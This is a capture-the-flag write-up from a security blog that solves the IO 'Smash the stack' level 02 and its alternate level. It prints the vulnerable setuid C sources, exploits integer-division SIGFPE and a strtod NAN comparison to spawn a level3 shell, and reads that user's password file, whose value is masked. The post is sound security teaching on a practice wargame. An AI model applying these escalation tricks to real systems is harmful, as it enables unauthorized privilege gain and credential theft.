/ Greyhat.dk /

Kim Gert Nielsen

Binary pattern

IO Smash the stack level 02

Level02

level2@io:~$ cd /levels/
level2@io:/levels$ ls -latr level02*
-r-------- 1 level2 level2  437 May 26  2011 level02_alt.c
-r-sr-x--- 1 level3 level2 6940 May 26  2011 level02_alt
-r-sr-x--- 1 level3 level2 5329 Oct  4  2011 level02
-r-------- 1 level2 level2  495 Apr 13  2015 level02.c

This time we got source code so lets look at it

level2@io:/levels$ cat level02.c

//a little fun brought to you by bla

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void catcher(int a)
{
        setresuid(geteuid(),geteuid(),geteuid());
	printf("WIN!\n");
        system("/bin/sh");
        exit(0);
}

int main(int argc, char **argv)
{
	puts("source code is available in level02.c\n");

        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return abs(atoi(argv[1])) / atoi(argv[2]);
}

So in order to get the cacher function to run we need to get provide 2 arguments (argv[0] is the program itself) and the last argument must not be 0. Since the cacher will only run on signal SIGFPE then lets have a look at the man page for signal(2)

According to POSIX, the behavior of a process is undefined after it ignores a SIGFPE, SIGILL, or SIGSEGV signal that was not generated by kill(2) or raise(3). Integer division by zero has
undfined result. On some architectures it will generate a SIGFPE signal. (Also dividing the most negative integer by -1 may generate SIGFPE.) Ignoring this signal might lead to an endless loop.

So the most negative integer would eihter be -2^15 (2 bytes) or -2^31 (4 bytes) and since this is a 32bit system lets try with 4 bytes

level2@io:/levels$ ./level02 $(echo "-2^31"|bc) -1
source code is available in level02.c

WIN!
sh-4.2$ whoami
level3
sh-4.2$ cat /home/level3/.pass
XXXXXXXXXXXXXXXX

Level02 alt

level2@io:/levels$ cat level02_alt.c

/* submitted by noname */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


#define answer 3.141593

void main(int argc, char **argv) {

	float a = (argc - 2)?: strtod(argv[1], 0);

        printf("You provided the number %f which is too ", a);


        if(a < answer)
                 puts("low");
        else if(a > answer)
                puts("high");
        else
                execl("/bin/sh", "sh", "-p", NULL);
}

The alternative level took me a while to find. There is no equel sign so I started reading up on strtod(3) and found

A NAN is “NAN” (disregarding case) optionally followed by ‘(’, a sequence of characters, followed by ‘)’. The character string specifies in an implementation-dependent way the type of NAN.

level2@io:/levels$ ./level02_alt NAN
sh-4.2$ whoami
level3